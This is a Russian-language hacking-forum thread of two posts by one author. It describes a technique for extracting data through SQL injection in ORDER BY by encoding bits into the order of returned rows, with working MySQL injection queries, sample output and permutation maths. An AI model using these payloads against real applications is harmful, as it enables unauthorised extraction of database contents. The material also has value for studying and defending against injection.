|
|
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
![]() |
#1 | |
![]() Почему-то у многих людей сложилось мнение, что инъекция в order by раскручивается или через time-based, или как boolean-based. Но, это совсем не так.
INTRO ORDER BY употребляется для сортировки выборки по одной или несколькими колонками (обычно по возрастанию или убыванию, но не только): PHP код:
PHP код:
Цитата:
Теория Раз ORDER BY употребляется для сортировки списка, то на страницу обычно выводится список, а точнее, его обрезанная часть. Например 20 записей выводится на страницу, всего в таблице 100 записей. ORDER BY позволяет использовать для сортировки выражения (возвращающие число/строку для каждой записи). Пример: PHP код:
Я подразумеваю случай, когда каждый запрос выполняется на разных сессиях (99%). В лучшем варианте при выводе 20 записей и их заполнении 20 уникальными значениями число возможных комбинаций равно: Код:
(defun factorial (n) (if (= n 0) 1 (* (factorial (- n 1)) n))) (20!) => (integer-length (factorial 20)) => 62 => (61) bit Код:
100!/(100-20)! => (integer-length (/ (factorial 100) (factorial (+ 100 -20)))) => 130 bit PHP код:
В ней больше, чем 100 записей, однако мы будем использовать только первую сотню. На стороне клиента надо будет заранее получить эти 100 записей... Нам повезло что все записи пронумерованы по ID, пока воспользуемся этим: PHP код:
Блин №1 Суть происходящего:![]() Слева данные из таблицы. Справа то, что мы получаем. Изначально мы ставим первый элемент на первую позицию, со второго элемента начинаем побитовое считывание выводимых данных. Если бит равен нулю, то позиции будут отрицательными, если 1 - положительными. При считывании мы находим первый элемент, от него ищем все оставшиеся. Элегантно и просто. За 10 строк вывода мы можем передать 9 бит информации, что немного больше одного символа... Реализация. Вывод одного символа. Код:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` WHERE `IS_COMPILED` = "Yes" ORDER BY if(id < 10, if(id=1,1,( if( ascii(mid(user(),1,1)) & pow (2, (id-2)) > 0, # pow - возведение 2 в степень для получения необходимого числа: # 2^0 = 1 = 00000001 # 2^1 = 2 = 00000010 # 2^2 = 4 = 00000100 # Также для этих целей можно использовать побитовый сдвиг # он и короче, но символы < и > могут фильтроваться # (Выше они используются для упрощения) # 1 << 4 = 16 # (SELECT 4) >> (SELECT 1) = 2 id, -id ))), 1000) LIMIT 9; +----+-------------------+ | id | COLLATION_NAME | +----+-------------------+ | 9 | latin2_general_ci | | 5 | latin1_german1_ci | | 3 | dec8_swedish_ci | | 2 | latin2_czech_cs | | 1 | big5_chinese_ci | | 4 | cp850_general_ci | | 6 | hp8_english_ci | | 7 | koi8r_general_ci | | 8 | latin1_swedish_ci | +----+-------------------+ 9 rows in set (0.00 sec) mysql> SELECT user(); +----------------+ | user() | +----------------+ | test@localhost | +----------------+ 1 row in set (0.00 sec) В лучших традициях на PHP набросаем эксплоит: PHP код:
Код:
root@localhost:5.5 Код:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` ORDER BY id LIMIT 20; +----+---------------------+ | id | COLLATION_NAME | +----+---------------------+ | 1 | big5_chinese_ci | | 2 | latin2_czech_cs | | 3 | dec8_swedish_ci | | 4 | cp850_general_ci | | 5 | latin1_german1_ci | | 6 | hp8_english_ci | | 7 | koi8r_general_ci | | 8 | latin1_swedish_ci | | 9 | latin2_general_ci | | 10 | swe7_swedish_ci | | 11 | ascii_general_ci | | 12 | ujis_japanese_ci | | 13 | sjis_japanese_ci | | 14 | cp1251_bulgarian_ci | | 15 | latin1_danish_ci | | 16 | hebrew_general_ci | | 18 | tis620_thai_ci | | 19 | euckr_korean_ci | | 20 | latin7_estonian_cs | | 21 | latin2_hungarian_ci | +----+---------------------+ 20 rows in set (0.00 sec) Код:
mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Инициализация +-----------------+---------+ | COLLATION_NAME | user_id | +-----------------+---------+ | big5_chinese_ci | NULL | +-----------------+---------+ mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Использование №2 +-----------------+---------+ | COLLATION_NAME | user_id | +-----------------+---------+ | big5_chinese_ci | 0 | +-----------------+---------+ ![]() Код:
# Было id-2: (-1 Для служебной записи, и еще -1 чтобы pow возвращал все относительно 0, в данном случае это: id 2 = 0 id 3 = 1 id 4 = 2 ... id 16 = 14 id 18 = 16 // Проблема # Стало: id-2-(id>16): ... id 16 = 14 id 18 = 15 // Все верно id 19 = 16 Код:
# Номер символа: ((19 + id) div 8) + 1 id - Аргумент (число организующие вывод разных битов) 19 - Смещение в битах относительно 0, для изменения в запросах (От 0, возможно с учетом погрешностей в ID для уменьшения длины выражения, то есть легче вычесть к примеру 2 из него, чем посылать запись 19+id-2... ) 7 => id=9 => ((0 + 9 - 2) div 8) + 1 14 => id=16 => ((0 + 16 - 2) div 8) + 1 # Номер бита: pos mod 8 или pos % 8 0 % 8 = 0 7 % 8 = 7 26 % 8 = 2 Код:
# Номер бита: (pos+id-(id>16))%8 # Номер символа: (pos+id-(id>16))div 8 + 1 Где pos - разница смещения и двух. Для первого запроса смещение 0-2 = -2, для второго - 19-2 = 17 и т.д. # Запрос: mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` WHERE `IS_COMPILED` = "Yes" ORDER BY if(id < 22, if(id=1,1,( if( ascii(mid(user(),( (__POS__+id-(id>16))div 8 + 1 ),1)) & pow (2, (__POS__+id-(id>16))%8) > 0, id, -id ))), 1000) LIMIT 20; PHP код:
Блин №2 Если детально присмотреться к схеме, можно заметить, что можно восстановить исходную последовательность просто не получая первую или вторую половину. После пары правок мы можем ускорить скрипт еще в несколько раз.
SQL: Код:
select (-1+id-(id>16)-(id>55)-(id>76)-(id>100)) as i, `COLLATION_NAME` from `information_schema`.`COLLATIONS` WHERE `IS_COMPILED` = "Yes" ORDER BY if( ascii(mid(user(),( (-1+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div 8 + 1 ),1)) & pow (2, (-1+id-(id>16)-(id>61)-(id>55)-(id>76)-(id>100))%8) > 0, id, 9e9 # Универсальный способ задания большого значения ) LIMIT 20; +----+---------------------+ | i | COLLATION_NAME | +----+---------------------+ | 2 | dec8_swedish_ci | | 4 | latin1_german1_ci | | 5 | hp8_english_ci | | 6 | koi8r_general_ci | | 8 | latin2_general_ci | | 10 | ascii_general_ci | | 13 | cp1251_bulgarian_ci | | 14 | latin1_danish_ci | | 16 | tis620_thai_ci | | 17 | euckr_korean_ci | | 20 | koi8u_general_ci | | 21 | cp1251_ukrainian_ci | | 22 | gb2312_chinese_ci | | 26 | gbk_chinese_ci | | 28 | latin5_turkish_ci | | 29 | latin1_german2_ci | | 30 | armscii8_general_ci | | 38 | cp852_general_ci | | 42 | cp1250_croatian_ci | | 43 | utf8mb4_general_ci | +----+---------------------+ PHP код:
![]() END Тема новая, исследований нет - есть куда продвигаться. Для макетов был использован LibreOffice Draw. Также есть варианты вывода с использованием возможности передачи нескольких параметров(через запятую) в ORDER BY.Последний раз редактировалось NameSpace; 02.07.2014 в 16:55.. |
||
![]() |
![]() |
![]() |
#2 |
![]() В продолжение развития темы нестандартного использования функции insert() не помешало бы довести и эту тему до финала (пока теоретического), благо к ней никто не притрагивался.
Кстати о insert(), с помощью неё можно создать неплохой итератор, отсутствие поддержки переменных этому не помешает: PHP код:
PHP код:
Векторы для случаев, когда кол-во записей в таблице равно 0 или 1 приведены здесь (в UPD, UPD1, UPD2). Начнем Q. Почему необходимо крутить SQL-injection в ORDER BY? Почему нельзя вывести все через UNION SELECT? A. Непосредственное использование UNION после ORDER BY невозможно. Использовать методику проведения инъекций в ORDER BY можно даже тогда, когда его нет в исходном запросе. Это может быть полезно в следующих случаях (вывод ошибок отсутствует):
Синтаксис конструкций после ORDER BY: Код:
[LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]] ![]() ![]() (Первый столбец — традиционный подход: Элемент -> Место. Второй столбец — нетрадиционный подход: Место -> Элемент.) Что необходимо для разгрома?
Задача Остановимся на SQL-запросе — именно он являются главным, движущим атаку. Всего имеется N элементов, на страницу поступает K элементов.Кол-вом вариантов перестановки данных элементов называется число размещений из n по k. Если это не является пустыми словами для вас — поздравляю, вам придется прочитать про это ещё раз! Я стараюсь не ограничивать аудиторию, когда это возможно. Иначе зачем писать, когда можно выложить ссылку на готовенькое? Потом, если это не требуется, то почему не поступили предложения по улучшению? Рассмотрим возможные перестановки цифр от 1 до 5: 12345, 12354, 32154, .... Для расчета числа перестановок воспользуемся правилом умножения. Первая цифра имеет 5 вариантов размещений, вторая — 4 (одно место уже занято), третья — 3. Всего вариантов: 5×4×3×2×1 = 120. Числа вида 1×2×3×4×5×...×N называются факториалами и обозначаются как N!. Что значит число размещений из n по k? Предположим есть 10 различных элементов. Если у нас имеется 5 ячеек, то это число — число возможных расстановок этих 10 элементов в 5-ти ячейках (каждая ячейка может содержать только 1 элемент) или число размещений из 10 элементов по 5. То есть то, что нужно. Рассмотрим размещения из 8 элементов по 5. Попробуем вычислить их общее количество. На обозрение выставляется 5 элементов. На первом месте может стоять 1 из 8 элементов, на втором - 1 из 7-ми (один уже стоит на первом)... Таким образом, общее число число вариантов равно 8×7×6×5×4 = 8×7×6×5×4×3×2×1 / (3×2×1) = 8! / (8 - 5)! = 6 720. Данное соотношение называется убывающим факториалом. С помощью 8 новостей и вывода 5-ти из них на страницу можно получить log[2, 6 720] ≈ 12 bit вывода. Способ №2 из статьи даст около 4 бит. Но способ №2 даст! А этот — ещё нет. Теория. Вывод N элементов Попробуем разобрать вариант попроще, с выводом 4-х элементов из 4. Все возможные перестановки (в лексикографическом порядке):Код:
0 => [0, 1, 2, 3] 1 => [0, 1, 3, 2] 2 => [0, 2, 1, 3] 3 => [0, 2, 3, 1] 4 => [0, 3, 1, 2] 5 => [0, 3, 2, 1] 6 => [1, 0, 2, 3] 7 => [1, 0, 3, 2] 8 => [1, 2, 0, 3] 9 => [1, 2, 3, 0] 10 => [1, 3, 0, 2] 11 => [1, 3, 2, 0] 12 => [2, 0, 1, 3] 13 => [2, 0, 3, 1] 14 => [2, 1, 0, 3] 15 => [2, 1, 3, 0] 16 => [2, 3, 0, 1] 17 => [2, 3, 1, 0] 18 => [3, 0, 1, 2] 19 => [3, 0, 2, 1] 20 => [3, 1, 0, 2] 21 => [3, 1, 2, 0] 22 => [3, 2, 0, 1] 23 => [3, 2, 1, 0] Два возможных решения этой проблемы:
Генерация: PHP код:
PHP код:
PHP код:
PHP код:
PHP код:
Код:
SELECT * FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3)a WHERE 1 ORDER BY if( crc32(rand(9))in(7237891) and (@array := 0x00010203) * (@number_e := @i := 5) * (@f := 24) * (@text := 13) * 0, 0, concat( ord(mid(@array, 1 + @number_e := (@text div @f := @f / (@i := @i - 1)), 1)), space((@array := insert(@array, 1 + @number_e, 1, trim(0x20))) * (@text := @text - @number_e * @f) * 0) ) ); PHP код:
Теория. Вывод K элементов из N Пример. Размещения из 5 по 3 (в лексикографическом порядке):PHP код:
Насколько сложно найти здесь закономерности? Не сложнее, чем в первом примере, однако до этого следует уточнить некоторые моменты. Мы пользуемся системой место -> элемент, а не элемент -> место. При выводе 59-ой последовательности с помощью ORDER BY возникнет данная позиция: PHP код:
Разберемся с закономерностями. Первая цифра получается так: X div 12. На первое место имеется 5 кандидатов, на второе - 4, на третье - 3. Как уже было выяснено, номер элемента в множестве определяется количеством размещений оставшихся элементов. Кол-во размещений на вторых и третьих местах равно 5 × 4 × 3 / 5 = 12, на третьем месте равно 12 / 4 = 4 × 3 / 4 = 3. т.е. все полученные формулы справедливы. Реализуем: PHP код:
Большие числа и MySQL Как вы могли заметить, вычисления могут быть ресурсоемкими, и числа, для которых они применяются - совсем не маленькими. Что случается при переполнении простых типов данных вы можете прочитать здесь, а теперь о сложных.Тип называется DECIMAL, одно число включает в себя до 65 десятичных разрядов (без потери точности), а также поддерживается практически всеми арифметическими операторами. Пример использования: PHP код:
Последний раз редактировалось NameSpace; 03.07.2014 в 13:01.. |
|
![]() |
![]() |
![]() |
Опции темы | Поиск в этой теме |
Опции просмотра | |
|
|